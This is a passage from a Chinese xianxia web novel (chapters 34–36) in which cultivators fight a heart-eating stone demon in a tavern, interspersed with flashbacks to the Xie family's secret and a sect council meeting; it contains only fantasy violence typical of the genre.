石头无心,它们要变成人,哪怕在魂借里也算得上是困难,它们需要人类的心脏。 传说世间的第一只石妖,本来只是懵懵懂懂地吸收日月光华,直到路过的商人,无意中将心头血尽数扑撒在石妖身上。 妖么,无论什么样的妖,都是一种凭本能行事的生物。 那石妖啊,在喝了一口心头血后,恍然大悟,原来它需要的正是这么个东西。 而吐出一口心头血在石头上的商人,惊异地发现了那血迹逐渐在深褐色的石头上消失,就把这还是原型的石妖搬回了家里。 接着故事的最后,那商人被开了荤的石妖,吃掉了自己的小儿子。 对于绝大多数人来说,这是这世界上第一只石妖化形的故事,最多再带点教育子孙妖非善类的警示意义。 但是对于谢家来说,却是一段只讲了半截的历史。 那个商人一回家,就发现家中只剩下了一个——刚刚化成人的石妖,甚至唇边的血迹都没来得及擦干净;悲怒之下,小有修为的商人打算和石妖同归于尽之际,就听见那刚刚化形的石妖脆生生地喊他了一句:“爹。” 化了形的石妖,生吞了他小儿子的心,指缝里甚至还有细碎的血肉,可是偏生眉眼,和商人的小儿子生得是那样的像。 于是,那个姓谢的商人,再也没能下得去手 关于百年前鲜花着锦的谢家,众人都知道的除了谢氏三绝,还有一点就是,在一众坚持“非我族类,其心必异”的世家里,谢家算得上是一股清流,他们是亲妖派。 世代供奉妖族神兽,白泽。 然而这只是一个家族裸露在阳光下的那部分。 其余的部分,就像是傩面之下的谢霖,宽大的衣袍遮掩住的,除了那瘦骨嶙峋的身子,还有无数处狰狞的刀口。 谢家那位二郎,和白泽签订的是主仆契。 自然谈不上什么供奉。 而谢家真正供奉的妖,是石妖。 比不上神兽血统一半尊贵,在百年前算得上是穷凶极恶的石妖。 是的,很久之前的那个姓谢的商人,留下那石妖祖宗一条小命,目的根本就没有那么单纯,像旁人脑补的以为他是对自己小儿子怀念啥的一开始就没存在过。 他只是以商人的眼光,极其敏锐地察觉到了什么 妖,以血脉强大,以天赋神通立于世。 每一只妖化形,都是一场逆天而行,在这其中遇到的阻碍越大,越说明这只妖不得天地钟爱但是在投机取巧的谢祖眼里,这石妖也是一种强大的代表——欲戴皇冠,必承其重。对于一个商人来说,越是走而挺险九死一生的生意,代表的背后利益则越大。 商人有钱,有钱能做到很多事情。 但是一个家族只有钱还不够,它需要有看不见的基石做支撑,就像是之前何家有个合道老祖,稳坐密州几千年。 于是,那出于投资心态的谢祖,豢养起了天生没有心的石妖。 嗬。 众人忽然听见了一声抽噎声。 湿哒哒的泪水从谢霖的双颊落下,粘湿了一片衣襟。 十四岁之前,天真的小少爷一直以为,谢城终年白雪,是为了他。 后来他才知道,这世界上不是所有的雪都是干净的。 有的雪,底下藏的是不能见人的血迹。 妖天性贪婪,以人心为食的石妖尤甚,几千年豢养它的谢家人都换了一批又一批,却只是把它的胃口养的愈来愈大。 直到谢城,除了傀儡和谢家人,都只剩下了空心人。 石妖才终于开始挑食了。 它要一颗,这天地间最纯洁无垢的心,用来进阶。 而谢霖,曾经的谢雨林,这被人说是天神吹得一口彩气儿的谢小少爷,天生是一颗* 玲珑心。 这小少爷曾以为,他这一生最大的不幸是遇上了那个翻墙而来化名“邹小黄”的蓬莱剑修;然而,在经历了百年浮沉后,他抛旧名,在这尘世间踽踽独行,被人骗过,被人赶过,挨过饿,要过饭,知道了眼泪哭得再多也没有用之后—— 他终于体会到了自由,以及这红尘万丈,豪情风光。 他才开始明白,原来他这一生幸运的开始。 是遇上了那个笑着勾他肩的姑娘。 ……思绪回笼,谢霖扶住傩面。 只听那昆仑大师兄冷冷道:“石妖凶名,不过是百年前的旧闻尔。然而这桩除妖令里的石妖,道行浅,身上还有旧伤。” 曲轻云双手持剑,御风而行。 “比起这个,”那白衣剑修薄唇轻启,眼中闪过战意:“近十几年,傩面鬼的名声,可是远胜石妖一流。” 他认出了谢霖。 下一刻,却只见另一个华发垂地的女修,轻轻一挥袖,就拦住了曲轻云这蓄势待发的双剑。 邹娥皇:“他已经通过了十四盟的考核,你可以翻一翻今日的十四盟灵报,四大邪修如今另有其人了。小剑皇——” 葱白的双指夹住了他的剑尖。 曲轻云竟发现自己进退不得。 第34章 别愣神了,没人能喊宴霜寒么 僵持之际, 曲轻云身上战意大涨,只是这次对着的不是谢霖,而是邹娥皇。 只听得铮鸣一声剑响, 他唇瓣抖动,口中念起了昆仑基础剑招——流云十三诀之云摆尾,他缩步成寸,极速后撤, 被捏住的双剑猛然迸发出一阵湍流。 在邹娥皇耳边响起了一阵水声。 这水声并不是瀑布飞流的激荡,也绝非平平无奇的小溪,而是海, 海纳百川, 万物归海的广阔与包容,都在这声剑鸣里淋漓尽致,以至于邹娥皇竟都有一瞬的目眩神迷。 心神一荡, 捏着剑的手就松了, 双剑唰地一下从她手里退了出去。 邹娥皇稳了稳:“你本命剑的天赋神通,是心神方面的?” 曲轻云挑挑眉, 干脆利落地点头承认了。 剑修的本命剑, 法修的本命法器一般套上本命两个字的,都会有附魂时形成的天赋神通。 就连邹娥皇这柄厚宽剑,日后也会形成有关于她本源的天赋神通。 通常来说,天赋神通是一种保命手段,不足为外人道尔, 但是曲轻云情况不同,作为昆仑的小剑皇, 他的一举一动都在众人的视线下,什么样的本命技都不算得秘密, 而他要确保的只有一件事—— 每一次出现在众人面前,都比上一次要强,比上一次要强到不可想象的地步。 这就够了。 方才还人声鼎沸的酒楼此刻鸦雀无声,店家和客人都散了个彻底,彻底成了一群剑修的战场;谢霖偷偷摸了摸脸上的傩面,总觉得自己站在这群高个子剑修里格格不入,就像是高峰起盆地呸!明明是正直的鹤立鸡群。 他一边想,一边后退。 就在这个当口,鼻尖却嗅见了熟悉的血腥味。这血腥味沁凉,还带着丝丝雪味,激得谢霖身上的疤痕开始隐隐作痛。 一百年前他曾闻见过这令人作呕的血味。 谢霖瞳孔猛缩。 这次动乱的不是那群剑修以为的什么未成气候的小石妖—— 是那只,屠了一城,众人都以为死在天火里的石妖! 也就是任督二脉打通的这刹那,一只僵硬的手搭在了他的肩上。 谢霖没有回头。 他背后已冷汗尽湿。 另一边,邹娥皇眼睛眯成一条线,她盯着极速逼近的曲轻云,眉心一皱,却是须臾想到了什么——石妖是魂借,吃心者,本体为石头,但化为人形后,可以说是妖类最狡诈的种类。 之前在谢家遇见过的那只石妖,就是假装受伤,然后在众人不设防之际,掏了谢家二郎谢雩的心,接着假扮谢雩,靠近谢霖 谢霖! 邹娥皇心尖一跳,感觉到了什么,却只听得剑声铮鸣,水色的双剑逼近,持剑的曲轻云眉钝而眼锐,少年朗声道:“此剑,名无双。” 这两柄双剑,天生便生得一样,宛如是太极八卦里的阴阳,镜相里的逆转,然而剑名,偏偏叫无双。 都说剑如其人。 就好像是持剑的曲轻云,昆仑大师兄,人人眼里墨守成规少年老成的小剑皇,偏偏不像那剑震十四州的宴霜寒,叛逆地选了这已不入流的双剑。 激荡的双剑擦过邹娥皇的侧颊,一道细微的伤口平空出现在她眼睑下,就在众人以为两人终于要开战的顷刻,却只见双剑如闪电,在空中大甩尾,势如破军,直直冲向另一侧。 和这双剑并肩的,还有一把古朴的厚黑剑。 “砰——” 硝烟散去,满地狼籍,浓浓白雾席卷了整个酒楼。 原来就在刚刚那一刹那,即将开战的两人,不约而同地调转了目标。 那群昆仑剑修里,有个十四五岁的小师弟,看样子还是第一次下山,躲在旁人身后,看着周围浮现出来的白雾,抱着剑怯怯地问:“大师兄?” 下一瞬,血肉横飞。 长长的爪子穿透布衣,滴滴嗒嗒的血迹落在地上,刚才还活蹦乱跳的小剑修此刻和他的本命剑一样,咣当地一声倒在地上,再无声息。 白雾,有了一片粉红的血光。 一个凝实的阴影慢慢显露出来。 刚刚邹娥皇和曲轻云出乎意料的三剑,显然让石妖躲避不及,被削去了半个身躯。 但是妖和人不一样,或者说石妖这类,本就是修出的人形因此,它舔了舔手心上那颗温热的心脏,獠牙凸生,咕咚地咽下那团血肉,喉咙跟着上下一挪动。 下一瞬,那被消去的半边身子,就又长了半截。 只要它身边有人,就是永远的不死之身。 邹娥皇听见曲轻云骂了句草。 那死去的小剑修,临死前说的最后一句话众人都听着了,是一声大师兄—— 二十年前在那场三年大旱后,紧跟着的就是妖族入侵,民生惶惶,于是昆仑也正是从那年开始,收留了一批又一批无家可归的孤儿。 十四岁的小剑修,生于妖族平定后的第六年,无父无母,是被曲轻云抱上山的。 而小剑修生命的最后,喊出的,也只有那么一声大师兄。 曲轻云纵身一跃,剑起破雾,理智在这个剑修的脑袋里以惊人的速度灼烧,将原本是包容的剑意,烧成了沸腾的海,长驱直入,不过是刹那,就已经和那石妖过了百招。 原地,邹娥皇寸步未动,视线一转白茫茫的四周。 她问:“谢霖,你还活着吗?” 作为曾和石妖打过交道的人,邹娥皇比谁都发自内心地恶心这玩意从谢家回来后,有几年的光景里,她看见石头就想拿火烧一遍。 石妖,寿命长,智力高,实力强,最逆天的是它的自愈能力,百年前有那么一场天火,已经算得上是天时地利了,但就算这样,最后竟还是被它逃了;而今日邹娥皇再看见这东西,唯一的欣慰是——它旧伤未愈。 于是乎,谢霖的存在就变得极其关键了。 那只石妖不是傻子,在这群昆仑剑修都在的地方出手,只能说明它对于进阶的需求急切到了一定程度。 如果谢霖活着,以邹娥皇的剑脉之力,杀一个石妖不是问题;如果谢霖死了,拿了玲珑心进阶的石妖在昔年就已经有让谢家愿意为它放弃白泽的神惠的实力,进阶之后,只会比那些个妖王龙主难缠。 而哪怕是龙主越海,那日一剑斩臂,不过也是他无所防备。 若他较起真来,比如说再阴狠点把招式对着当时云舟之上的众人打下去,处处受到掣肘的邹娥皇未必就真的能和他一来一回。 邹娥皇把心提起来,等了有半响,却只听见白雾里传出了一声委屈的哭腔。 这哭腔熟悉,是谢霖一百年不变的抽噎。 “邹娥皇、它、它说我心脏了——” 啊? 其实、也是有几分合理的,邹娥皇想。 当初谢家拘着谢霖不允许他外出,不就是因为这天生的玲珑心,并不是永久的,若是经历的凡事多了,也容易蒙尘的么。 须知玲珑心,那是千千万万个人里不一定能生出一个,要天真烂漫,要心思纯净,还要七窍玲珑。 可七窍玲珑,那是要懂世故的人才有,可世人皆知,难的从来不是天真无邪,是知世故而不世故。 所以邹娥皇在修真界闯了五千年,除了那么一个谢霖是天生玲珑心者外,她竟没见过别的人什么人有。 如今,连这仅剩的独苗苗,在经历一翻社会毒打后,原本的剔透玲珑心,也蒙尘了。 邹娥皇深深一呼气,她握住剑柄。 云雾弥散在酒楼,腥味和酒肉味混合在一起,地板是咯吱咯吱地响声,那群吊儿郎当的昆仑剑修此刻却出奇地一致,有尿黄了半个裤子也颤颤巍巍握着剑就上的。 死战不退。 这是昆仑的道。 曲轻云双剑转地愈来愈快,流云十三诀在他手里,从修身健体之法变成了招招凛冽的杀机。 偏偏越是高速运转,越是容易出错。 石妖的爪子生的的愈来愈长,它表皮是青紫色的,正在慢慢地回缩,脸变得愈来愈扭曲,然后这大师兄就眼睁睁地看着,那个和他一来一往全是奔着要害下手的妖怪,变成了那死去小师弟的模样。 石妖那冰冷的竖瞳讥诮地一闪,“师兄,我怕——” 是模仿的惟妙惟肖的怯怯。 本命神通就有关心神催眠的曲轻云自然不会被骗到,但是他的剑明显地急躁了起来,而他那些修为境界略低的同门,也受到了明显的影响。 噼里啪啦的剑声,有了一瞬的停滞。 就这么一瞬的停滞,长长的爪子,一下子捅穿了两个剑修的胸前,血迹点点喷洒在曲轻云流光的白衣剑袍上。 那触目惊心的血迹,让这个一出世就顺风顺水的小剑皇,不由得愣神了片刻,刹那,指缝还带着碎肉的爪子离他不过几厘。 “砰!” 那柄眼熟的黑剑飞来,剁下了这只爪子。 云雾散开,愣神的曲轻云还有那群半斤八两的剑修们一把被邹娥皇推出了半丈之外。 “还没反应过来么?这石妖,杀了越多的人,吞了越多的心脏,它越强。你们这些小娃娃,对它只算是大补——” 蓬莱特制的玄色道袍在半空飘荡。 坚。挺的厚剑以万钧之势挥下。 “别愣神了,没有能联系宴霜寒的么,喊他来!” 邹娥皇扛着剑。 剑身与锐利的尖爪相撞。 众人只听得那一直只是嘶嘶的石妖,终于爆发出了一声啊地痛喊。 这东西,竟然也是会疼的吗? 第35章 有的喜欢,见不得光 腥臭的口水滴滴嗒嗒地落在地上, 尖锐的獠牙上满是细碎的血肉。 蹦的一声断掉手后,这石妖灰青色的眼珠子终于开始咕噜噜地转动。 它好像认得邹娥皇,又或者对着这黑剑有了惧意。 嘶嘶的舌头崩了出来, 石妖鼻子眼睛的位置一变再变,从刚刚小剑修那稚气未脱的圆脸慢慢地拉长,修出了尖锐的下颌。 它嘶嘶地出声,好像又哭又笑—— “邹、邹、你看我, 看我——” 它在模仿另一个人。 另一个,死去多时的人。 石妖者食心,每吞下一颗心脏, 就拥有了旁人最刻骨铭心的一段记忆。 此刻…灰青色的眼珠咕噜噜地在石妖眼眶里转, 冰冷锋利的剑锋映照出它逐渐变得红润的血肉——浓密的剑眉,炯炯的长眼,还有那不笑也风情的唇。 “谢二郎, 谢雩?” 一个死了百年的人脸突然出现在眼前。 邹娥皇的声音在云雾中显得有些许的飘, 她说:“你变成他有什么用?” 她眨了眨眼睛,手上的剑不停, 而脑海的思维却出现了一瞬间的混沌, 下一瞬,终于想明白了那一点怪异的地方—— 石妖狡诈更甚人类,没有无缘无故的变脸。 那就只能是一种可能。 “他最刻骨铭心的回忆,和我有关?” 邹娥皇说出口的时候都觉得有些好笑。 怎么会。 关于谢雩,邹娥皇大约只是在一百年前闯谢家的时候见过一次, 刚刚能认出来,不过也是因为那张脸在修真界美人榜上, 曾被列为四大美男多时。 …… 还记得很久之前,她第一次见到谢霖时, 其实也见到了谢雩。 那一日。 从墙上中跌落到地上的邹娥皇摸了摸发疼的屁股,勾着小公子的肩,眉开眼笑地要去看那天下传闻的第一美人。 然后,就被一个摇着折扇的俊公子拦了下来。 俊公子穿了一身宝蓝底鸦青色衣衫,是她凭生见过最符合富贵闲人的气质;半道上,那俊公子先是怔愣于怎么会有外人出现在谢府,再就是上下打量她,嘴上问:“这是谁?” 十四岁谢霖怯怯的,“二哥,这是邹小黄,我朋友。” 二哥?谢二郎。 邹娥皇站在一旁挠了挠头,心里想,还好不是谢大郎…毕竟她这趟来是为了李千斛,如果撞上谢大郎,那可就麻烦了。 谁料她刚松了口气,就见宝蓝底鸦青色的谢二郎微微笑,手上的折扇轻轻一扇,狂风大作,漫天遍地绯红的雾气冲着邹娥皇而来。 这雾气,有个很厉害的名字,叫半生醉。 顾名思义,吸得雾气者,半生得醉不复醒。 邹娥皇一个踉跄,昏过去的前一刻,只听得那谢雩漫不经心地对谢霖说:“二哥再教你一次,外面的人,不要接触。” 而邹娥皇,倒下的前一刻是想——他们谢家的地,可真硬啊。 砸的脑袋生疼。 再次醒来的时候,只见谢雩坐在她对面,手里把玩着一块刻了蓬莱二字的玉佩,骨节分明的手指扯着她的半缕头发,语气微妙: “你是蓬莱的人?” “谢城一向不允许旁人进出,你没有通行证,是怎么进来的;又是怎么进府的,南塘虫潭若对你没有用,你怎么会被半生醉迷倒?” 邹娥皇没吭声,她脑袋此刻还钝钝的疼。 谢雩有些不耐烦道:“说话。” “为何来谢家?” “还是你们这些苟蝇当真以为,打着蓬莱的旗号,本公子就不敢杀了么?” 他捏住邹娥皇的下颚,语气冷硬。 指腹带茧,一看就是常年修炼落下的。 谢家二郎,谢雩,年纪轻,脾气大。 在谢城算不得什么秘密。 然后,他就得了邹娥皇的一声嗯。 邹娥皇下巴受了些微轻伤,说话的时候语速很慢,一点点地往外蹦字:“你、不、敢” 他不敢?他什么不敢? 谢雩额前青筋一跳,“有意思。” 却只见下一秒,那个病怏怏的女修平静地起身,自来熟地穿好外衣,然后慢吞吞地从乾坤袖里掏出了那把黑剑背在背后,半分不避讳地当着他面系上。 然后留下句:“明天我走正门,你在那里接我。” 就大摇大摆地走出了出去。 有关那谢雩的全部往事,对于邹娥皇来说,不过到这里也就停了。 但是对于故事的另一个主人公来说。 却不止。 远远不止。 那日,邹娥皇走后。 谢雩静默了片刻,直到手底下的人问了句:“二爷,不追啊?” 才发现这二爷不知道什么时候,已经被半生醉定住了,此刻唇瓣发麻,面色绯红,只有一双眼睛气的够呛,正死死往外凸着。 被喂了解药后,谢雩才缓缓地喘出了那口气儿。 他修长的指捻了捻唇上残留的半生醉,眯起眼来不怒反笑。 “有意思” 这姑娘竟是把一口半生醉藏在牙口里,随着那几句一字一蹦的,喷到他脸上,然后算准时间,大摇大摆地溜了。 这次谢雩的一声有意思里是真的多了几分欣赏的意趣。 次日,谢府正门。 摇锣打鼓的仆人候在两旁,朱红的步撵里坐了个翘着腿的谢雩,他换了身石青色宝相花刻丝锦袍,头上带了块嵌着红宝石的玉冠,瞧着比上一日还要富贵些。 然后,就从晌午,候到了月明。 谢二爷把折扇柄捏烂了,烦躁地一甩袖,然后鬼使神差地绕路走到了三弟院前,结果就听见了谢霖嘿嘿地几声傻笑。 谢雩眉心一跳,有所预料。 他冲着左右的奴仆比了个噤声的手势,就趴在门缝里往里看。 只见他三弟乖乖地蹲在地上,仰头露出了一个傻不拉叽的笑,问站在跟前的人:“你明天还来吗?” 站在傻笑的谢霖前面的,是一个穿着黑衣服的人! 谢雩心尖一轻。 他呼吸急促,扒着门缝,眼珠子一点点地转到了背着门的那人身上,在看见眼熟剑后,鼻尖急促的呼吸慢慢地松开了。 只听得那女声平平,道:“来。” 蹲在地上的谢霖又问:“那你不怕我二哥么?” 邹娥皇拍了拍身上擦墙落下的灰:“怕什么?” 半响后,一门之隔的谢雩听了那姑娘清晰地一声笑,“他八成还以为我走的是正门呢。” 一门之外。 谢雩把牙咬的咯吱咯吱响。 有半响,身边人才听见这位爷皮笑肉不笑。 只道了句: “有意思!” …… 心脏对于人类来说,是生命的供养。 对于一只以其为食的妖物来说,则是纷杂的情绪。 石妖只是没有心的怪物,人类那些爱恨情仇,它其实一点都不懂,但它隐约知道,有些被放在心尖的回忆是甜的,有些是苦的,还有一些是酸的。 而谢雩的心脏。 连食心无数的石妖吃到口的那一刻,竟都忍不住有了近乎人类的惊讶。 谢雩啊,那可是谢雩。 不说是麻辣的辣,也不说是忌口的苦。 居然是咸吃萝卜淡操心的咸! 谢家三绝里,如果说起到定海神针作用的是那位无情道的谢大郎,锦上添花的存在是小公子谢雨林那么谢雩,这位谢二郎,肩上抗的却是一整个谢家。 他年纪轻轻,是白泽的主人,风光无良。 他红颜知己遍布天下,眉目昭昭丰神俊朗。 关于他的一颗心,石妖眼馋过很多次,每次一想都觉得肯定是鲜美异常,但等真吃到口里后险些没忍不住吐了出来。 鲜个屁,好咸! 石妖仔细阅览谢雩这段回忆的时候,匪夷所思地发现—— 确实是,有些摸不着头脑的咸咸。 什么有意思,没意思的 石妖毕竟不是人。 所以它不懂得,被少年藏在心间的那段咸咸的回忆,其实一点也不闲。 它不懂得,为什么作为神兽白泽的主人,可以说天下前无古人的博学谢二郎,心尖上放着的不是那些个有关世界本源的秘密,却只是几句的“有意思”。 它只是凭着妖兽的本能,在躲避邹娥皇愈来愈锋利的剑招里,换上了谢雩的脸。 毕竟,谢雩最刻骨的回忆那段回忆有关她不是么。 自以为摸透了人心的石妖想,既然最刻骨的是她,那么他们交情必然很深,就算不是交情,而是像话本里写的爱恨交织,也足够邹娥皇恍惚一瞬了。 但它毕竟还是妖。 天性无拘无束的妖,永远也懂不了人类的复杂,非一页纸张能刻下。 有的人,喜欢一个人,他自己或许都不知道。 有的喜欢,名字叫暗恋。 到死,都见不得光。 …… 云雾处,谢霖将脸上的傩面狠狠地摔到了地上,他双指成并,泪从眼角滑下,流经指尖,一点点荡出了鎏金的色彩,落在了傩面上。 下一瞬,夸张恐怖的傩面慢慢向内收敛,獠牙做毛,变成了一支笔的模样。 笔杆深红,就好像是干涸的血迹。 谢霖握着笔,嶙峋柴弱的身子拖着步朝前方走去。 前方传来了兵革相碰的声音。 石妖嘶嘶嘶地冒气,仍没不死心,对着邹娥皇:“你、邹、邹、难道不想知道他、谨慎小心的谢二、怎么死的吗?” 随着话音落下,那张诡异的面,一点点流出了血泪,石妖腥臭的呼吸吹过邹娥皇耳边。 巨剑之下,看不见握剑姑娘的神情。 只是云雾里,慢慢走出了个瘦小的身影站在邹娥皇身边,宽大的傩神服套在谢霖身上,就像是偷穿了大人衣服的小孩;小孩缓缓抬起头来,手上捏着那支笔,轻轻地笑了。 那双眼弯成月牙形状儿,是曾经独属于小公子的天真无邪。 石妖没有心,按理说完全不懂害怕两个字,偏生此刻谢霖这个笑,没有任何手段,只是单纯的一笑,却让它产生了惧意。 它青灰色的眼珠子僵硬地滚动,微不可见地做出了后退的动作。 还在谢家的那些惨痛教训骤现石妖心头。 前方,谢霖仰起头,笑的天真:“石老祖,你问错人了。” 一百年前,谢家人人却是都管这石妖叫石老祖。 一百年后,这谢家仅剩的独苗苗,再说这句,就有了些微妙的讽刺。 腥红的笔从谢霖手心飞出。 只听他声音清脆,响彻在这片云雾里,“江山代代人才出,小一百年前,谢雩确实算得上是天才,但是如今,曲轻云,祝平安,何九州,尹芝珠玉在前,谁还记得他的名讳?” “而邹娥皇,和他更是素昧平生,点头之交。” 砰地一声,邹娥皇斩掉石妖的进攻,黑剑流风逐云, 再一回头时,不过刹那,谢霖就已半步白骨。 那支众人眼里为傩面鬼留下浓墨重彩的邪笔,此刻吸走了谢霖半身精气,笔尖饱满欲滴,好像下一瞬就要流出血水。 这小公子一半脸美如画,笑的天真;一半脸狰如鬼,白骨外露。 “你该问我的,只有我好奇。” “那个谢雩,张扬轻狂,不可一世的谢雩,到底为什么会死!” 谢霖声声泣血,神似阎罗。 “只有我好奇,他生前到底在想什么!” “只有我好奇” “当他代表谢家,把弟弟的心脏,抵押给贪婪的妖怪的时候,到底在想什么——” 狰狞的笔尖几乎要戳到了石妖脸上。 逃! 快逃! 石妖脑海里警铃大作,一种前所未有畏惧的裹卷而来。 而半丈云雾外,曲轻云捏着门派的求救符,心里一空。 门派内部联系不上了。 出事了。 …… 李三越跑越快,明月当头。 他感觉胸前的那颗心越来越亮堂,越来越沉甸。 在他的一生里,其实一直在奔跑。 跌倒了要爬起来跑,被人追债要跑,偷东西了要跑,骂了人要跑似乎无时无刻,都在跑,拼命的跑,为了不被别人赶上,为了不被别人替代。 但唯有此刻,他居然觉得跑得快意。 救人这样的事情也可以和他沾上关系吗? 李三不知道。 终于,望着近在咫尺的酒楼。 他的脚步慢慢地慢了下去,看着灯光四溢的酒楼,竟然有了几分丑媳妇见公婆的羞涩。 然后,他听见了一阵阵打斗声。 砰砰砰——是兵革相撞的声音。 怦怦怦——是他心跳的声音。 于是一下子,李三顿住了脚步。 流仙酒楼是整个密州最繁华的酒楼,来来往往基本上都是小有名气的修士,才会被十四盟安排在这里。 安保向来出色,外地人可能不太明白但是李三作为密州的本地人,从小就一直听过一个传闻,据说流仙楼里有三位十四盟的元婴级散修助阵 所以如果有一天,流仙酒楼出了事,从某种意义上也就说明了,管辖密州的十四盟,多少也有一些自顾不暇。 十四盟是不可一世的世家和底蕴深厚的门派,共同组成的仙盟。 如果十四盟自顾不暇—— 稍微有些许敏感的李三,喉咙里的唾沫微微一咽。 天下,岂不是要乱套了。 至此,他看着近在咫尺的酒楼,心中不断激越的心跳忽然慢慢地变回了一滩死水。 要转身吗? 要离开吗? 要当今日的一切都没有发生过吗? 要回头吗?全当只是去院子里拿了盆回来,哄老奶说去了个野厕。 反正、本来、 都和他没关系的吧。 他踮着脚,一步一步倒退。 然后,身体前倾,重心下压,如同豹子一样向前面的亮光跑去。 僵持不动的酒楼里,曲轻云盯着手上没有信号的求救符,下一瞬就看见大雾里有个人影直直地朝他冲了过来。 少年剑修微微蹙眉,握着手中的双剑,做好了应战的准备。 却只见冲过来的人影以迅雷不及掩耳之势滑跪,抱着他的大腿一把鼻涕一把泪地哭喊。 李三抽噎:“仙人,这是什么鬼地方,流仙酒楼呢?我怎么什么都看不清了。” 第36章 谁是邹娥皇 当酒楼里的众人意识到出了问题之后, 密州上的人或者说密州之外的人,显然也意识到了问题所在。 昆仑,蓬莱, 七彩阁,鬼谷,墨庄,五大仙门共聚一堂, 就坐在蓬莱道祖刚刚开完论道大典的地方。 五大仙门下,七大世家除了被困在密州的何家,陈王燕尹秦祝, 也纷纷在座;势力之外的散修里, 还有个臭着脸前日刚刚接上一条断臂的龙主越海。 可以说是,修真界有头有脸的人物,如今都聚在这么个殿里。 “诸位, ”蓬莱道祖坐在位上, 看样子是刚睡醒,身上还披着半层薄纱, 但在这个当头, 谁也不会去置喙他的衣着,反而都屏息凝神。 “密州最近发生了一些变化,想来大家也都知道。” 宴霜寒坐在道祖对席,冷傲的剑修微嘲一笑,破天荒地接了句:“道祖是指什么?两个死人复活么。” 何言知死而复生, 这件事早被何家敲锣打鼓地传了出去,算不得什么秘密;还有另一个么各家则都略有耳闻, 有人说在密州见到了那个容有衡。 于是今日大会前,有人就猜, 密州的失联,是不是因为两个死而复生的人造成的天谴。 云无心摇了摇头,“后生慎言,此非也。” 他身侧几丈远,风情万种的尹月坐在席上,张扬的眉心闪过一丝微不可见的忧愁—— 她和在座的旁人都不太一样,这份不一样并非是源于那年少时懵懂的心动,而是作为一个曾经心心念念要来蓬莱求道的人,她比谁都无比地清楚蓬莱的道义。 “救己救世不救人。” 为着这么一句话,当初的容有衡自断一臂才得下山为人族战妖王,为的这么一句话,蓬莱年年都有兴起上山,兴败下山的意气少年人。 也正是因为这么一句话,这些年蓬莱道祖被人口诛笔伐,说尽了不过也就两个字,“凉薄”。 所以当初十四盟定下协约后,尹月怎么也想不到,第一个敲响钟鼓的人居然会是蓬莱道祖云无心。 救己救世 这天下,究竟要出了什么乱子,才会让惯来从容的云无心,在三更半夜,一连敲了三下钟鼓。 尹月抬头,掩住纷杂的神色。 却只见高座之上的道祖支起下巴,仍是众人见惯了的淡意,说了句和大会风马牛不相及的话:“诸位可知,本座徒弟邹娥皇,拔出剑来了。” 下一瞬。 宴霜寒察觉到周围人的视线都隐晦地朝他这个方向一扫,他抿了抿嘴——当年邹娥皇也曾小有名气过,也因此天骄宴那日的折戟沉沙,曾是修真界出了名的笑谈。 如今蓬莱道祖在这个当口提这么一句话,未免有些旧事重提的意思。 宴霜寒身后的几个掌教瞪起铜铃眼,将旁人看戏的目光纷纷围堵了回去。 被他们护住的白发剑皇垂眸,浅白的眸里则闪过片刻思量;背后的神剑嗡嗡作响,和它冷艳的主人相比,这把剑显得躁动异常。 蓬莱道祖再不着调,也不会在这样的大会上刻意针对昆仑,牵出这么一句,只能是因为邹娥皇很重要。 邹娥皇么宴霜寒缓缓睁开眼,将视线转向明显还有半截话的蓬莱道祖。 果不其然,他只听得道祖笑道:“事已至此,先给诸位道个歉,救世一事本座职责所在,本该早做谋算,但是之前一直没有寻到生机,直到二十年前,东边太白出,西边帝鸟鸣,我心里才有了一定的准头。” “前日,我的徒弟邹娥皇,拔出剑来了,也正是如此,让我确信,命数这东西,是能变的。” 蓬莱道祖启唇微笑,“诸位想必都略有耳闻,蓬莱每隔百年开山论道,每年论道,本座问的第一个问题,永远都是,为何求仙——” “但其实这只是表层,本座真正想问的其实是后半句——” 宴霜寒读懂了那句蓬莱道祖避讳天道而未脱出于口的唇语: 求仙的尽头到底是什么。 和他一样读懂的人面面相觑,纷纷错愕。 这不是在商量密州的事情么,怎么道祖偏题先讲邹娥皇不说,现在又开始论起道了,这是做什么,拿他们当消遣吗? 却只听得,玉瓷被摔在地上的铮声,众人回头,只见越海喝地有些醉了,摔碗起身。 越海对着道祖嗤笑了一声,“本座今日千里迢迢,放弃了修养打坐来这里参与十四盟大会,不是只为了听你这么一句论道的空话,关于那失陷的密州你这老匹夫若是有东西要讲就讲出来,扯东扯西!” 这位一向是个荤不咎的,做出再多无理的事情,众人也只当见怪不怪;但是今日,怎么瞧着怪怪的,毕竟越海以前再荤不咎,多少也是给蓬莱道祖一些颜面的。 下一瞬,却只听得一声女子的大笑。 在众人一片被吓傻的寂静里,只有尹月的笑声传荡在大殿里。 七彩阁阁主挑衅的目光,毫不避讳地和越海相撞。 “龙主去修养了?”尹月听着很是关切地细声道,“前天断了两条胳膊,可不是要好好修养一下么。” 什么? 众人大骇,以肉身比肩妖族强横的越海,居然会断了胳膊?! 这世上能伤他的人绝不超过十个手指头—— 是谁? 是死而复生的何、容,还是就坐在位席上的宴、云 却只听得那七彩阁阁主温声道:“* 龙主刚刚激动,想来也是有情可原的。” 她露出了一个讥讽的笑,转向云里雾里的众人解释道:“道祖方才只说了邹娥皇拔剑了,但你们可能还不知道,邹娥皇拔剑后,这第一剑么,就是惊天动地地斩了咱们龙主的手。” 众人心里本能地惊疑,还有的在底下窃窃私语地问:谁是邹娥皇?邹娥皇什么底细? 先前道祖的那句话,有人只听了个大概,并不记得那具体的名字,加上修真界人实在是太多,知道这三个字的,并算不得多。 但是尹月这么一句,一剑斩伤龙主那可就一石惊起千层浪了。 大殿上,越海的脸,已经青了。 他憋屈地把嘴闭了又张,却找不到什么反驳的话。 …… 密州夜愈来愈冷。 流仙酒楼里,谢霖分明杀红了眼。 他使用的那功法就是再没见识的人看见了,也知道是燃烧自己生命为代价。 伤敌一千,自损八百。 邹娥皇揉了揉偏疼的眉心,想一开始对于谢霖的评价真是半分也没有失误。 小疯子。 上哪里学的这种自寻死路的功法。 别一会石妖没死成,自己这里又白搭了一条命。 于是乎,邹娥皇扭动了一下手腕,面无表情,剑背使力,然后就啪地一下从后面把谢霖拍晕了。 高速旋转的邪性笔一下子跌落到谢霖脸上,在触及半面白骨的一瞬,又缓缓展开,变成了那吓人的傩面。 邹娥皇摸准方向,脚跟一踢。 咚—— 曲轻云正费力把李三从他腿上扒拉下来的时候,另一条尚且空荡的腿,就又被邹娥皇踹过来的谢霖,咣地撞上了。 带角的傩面,一下子刮破了曲轻云的裤腿,隐隐约约露出了里面浅蓝的亵裤。 草。 